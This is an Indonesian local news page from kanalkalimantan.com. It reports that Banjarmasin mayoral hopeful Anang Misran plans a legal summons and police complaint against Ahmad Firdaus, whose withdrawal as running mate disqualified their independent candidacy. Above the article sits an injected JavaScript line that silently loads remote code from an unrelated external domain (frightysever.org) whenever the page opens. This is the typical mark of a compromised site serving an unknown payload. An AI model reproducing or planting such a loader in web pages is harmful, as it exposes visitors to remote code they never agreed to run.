(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kabar mengejutkan datang dari bakal calon Wali Kota Banjarmasin Anang Misran yang gagal melaju lewat jalur perseorangan.
Setelah mundurnya bakal calon Wakil Wali Kota Ahmad Firdaus pada Selasa (16/6/2020), dengan menyerahkan surat pengunduran diri resmi ke KPU Kota Banjarmasin. Secara otomatis membuat pasangan Anang-Daus berstatus tidak memenuhi syarat (TMS) yang dinyatakan oleh KPU Kota Banjarmasin.
Pengunduran diri sepihak Ahmad Firdaus ternyata berbuntut panjang. Melalui kuasa hukum yang tergabung dalam Perkumpulan Pengacara dan Penasihat Hukum Indonesia (P3HI) Kalsel, Anang Misran berencana memperkarakan Daus -sapaan akrab Ahmad Firdaus-.
Ketua P3HI Kalsel Aspihani Ideris mengatakan, dalam waktu dekat pihaknya akan mengirimkan surat somasi kepada Daus atas kerugian material dan non material kliennya Anang Misran.
Pengunduran diri sepihak dari Daus, menjadi alasan utama berlanjutnya persoalan ini ke ranah hukum. Mengingat antara kliennya Anang Misran dan Daus, sudah ada surat perjanjian yang ditandatangi kedua belah pihak.
“Pertama kita somasi dulu. Jika tidak ada respon kami akan laporkan ke kepolisian. Dalam hal ini kami akan tuntut menggunakan Pasal 372 Jo 378 KUHP dengan ancaman maksimal empat tahun penjara,” beber Aspihani, Selasa (7/7/2020).
Dalam menempuh jalur hukum, Aspihani melibatkan 15 advokat di Kalsel. Ia memastikan, semua advokat ini siap mengawal proses hukum Anang Misran.
“Kami sudah pelajari persoalan ini dan siap menempuh jalur hukum. Klien kami merasa dirugikan tidak hanya materi bernilai ratusan juta rupiah, namun juga non materi yakni gagalnya melaju lewat jalur perseorangan,” terangnya.
Meski sangat optimis menempuh jalur hukum, Aspihani masih membuka pintu komunikasi dengan Daus untuk menyelesaikan persoalan dengan Anang Misran sebelum dilanjutkan secara resmi ke kepolisian.
“Kita tetap buka pintu komunikasi. Jika tidak ada respon kami akan laporkan ke pihak kepolisian. Yang jelas klien kami sangat dirugikan dengan pengunduran diri secara sepihak ini,” pungkasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More
This website uses cookies.